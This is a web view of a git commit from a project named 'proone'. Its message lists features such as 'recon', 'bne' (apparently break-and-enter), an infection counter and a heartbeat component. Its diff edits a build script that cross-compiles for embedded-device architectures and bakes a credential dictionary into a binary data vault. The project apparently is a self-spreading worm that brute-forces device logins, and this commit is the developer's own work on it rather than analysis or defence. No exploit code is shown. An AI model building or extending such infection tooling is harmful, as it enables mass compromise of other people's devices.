diff options
author | David Timber <mieabby@gmail.com> | 2020-09-27 22:51:11 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-27 22:51:11 +0930 |
commit | 86038b950f0aaddca7108e903568159414a8d64a (patch) | |
tree | 122ff054b79ac91dc615f2248674fa4944ccdb17 /scripts | |
parent | 9f948554902e67cd796dd0635a3c632ccd40c206 (diff) |
* Disable armv7, aarch64, x86_64 target
* Apply recon and bne to proone
* Add callback contexts on htbt and bne
* Fix mem leak in bne_sh_cleanup_upload()
* Use prne_static_assert() instead of _Static_assert()
* Use prne_free_worker() rather than calling free_ctx()
* Add prne_eq_ipaddr()
* bne
* Add prne_bne_result::ny_instance to impl infect_cnt
* Don't delete tmp upload dir after successful bne_sh_run_exec() so
that proone can make tmp files
* Silently ignore PRNE_BNE_V_HTBT if htbt_ssl_conf is not set
* Add prne_bne_get_subject()
* htbt
* Fix crash bug when running without resolv
* proone: set pth priority
Diffstat (limited to 'scripts')
-rwxr-xr-x | scripts/build-all.sh | 27 |
1 files changed, 14 insertions, 13 deletions
diff --git a/scripts/build-all.sh b/scripts/build-all.sh index 146bdfb..a9eaeb5 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -2,33 +2,33 @@ set -e ARCH_ARR=( - "aarch64" +# "aarch64" "armv4t" - "armv7" +# "armv7" "i686" - "x86_64" +# "x86_64" "mips" "mpsl" "ppc" "sh4" ) TOOLCHAIN_ARR=( - "aarch64" +# "aarch64" "armv4t" - "armv7" +# "armv7" "i686" - "x86_64" +# "x86_64" "mips" "mpsl" "ppc" "sh4" ) HOST_ARR=( - "aarch64-linux" - "arm-linux" +# "aarch64-linux" "arm-linux" +# "arm-linux" "i686-linux" - "x86_64-linux" +# "x86_64-linux" "mips-linux" "mipsel-linux" "powerpc-linux" @@ -52,10 +52,12 @@ export PROONE_EXEC_PREFIX="$PROONE_EXEC_DIR/exec" export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN_DIR/" PROONE_REL_PREFIX="$PROONE_REL_DIR/proone" PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch" +PROONE_CDICT="$PROONE_PREFIX/cred_dict.bin" PROONE_DVAULT="$PROONE_PREFIX/dvault.bin" PROONE_TOOLS=" proone-pack proone-list-arch + proone-mkcdict proone-mkdvault proone-ipaddr-arr " @@ -69,9 +71,7 @@ set -e # native build for tools ./configure $PROONE_AM_CONF -cd src -make -j$(nproc) $PROONE_TOOLS -cd .. +make -j$(nproc) -C src $PROONE_TOOLS for t in $PROONE_TOOLS; do cp -a "src/$t" "$PROONE_TOOLS_DIR" done @@ -79,7 +79,8 @@ cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR" make distclean # generate dvault -"$PROONE_TOOLS_DIR/proone-mkdvault" > "$PROONE_DVAULT" +"$PROONE_TOOLS_DIR/proone-mkcdict" "./src/proone_conf/cred_dict.txt" "$PROONE_CDICT" +"$PROONE_TOOLS_DIR/proone-mkdvault" "$PROONE_CDICT" > "$PROONE_DVAULT" DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT") # cross-compile targets |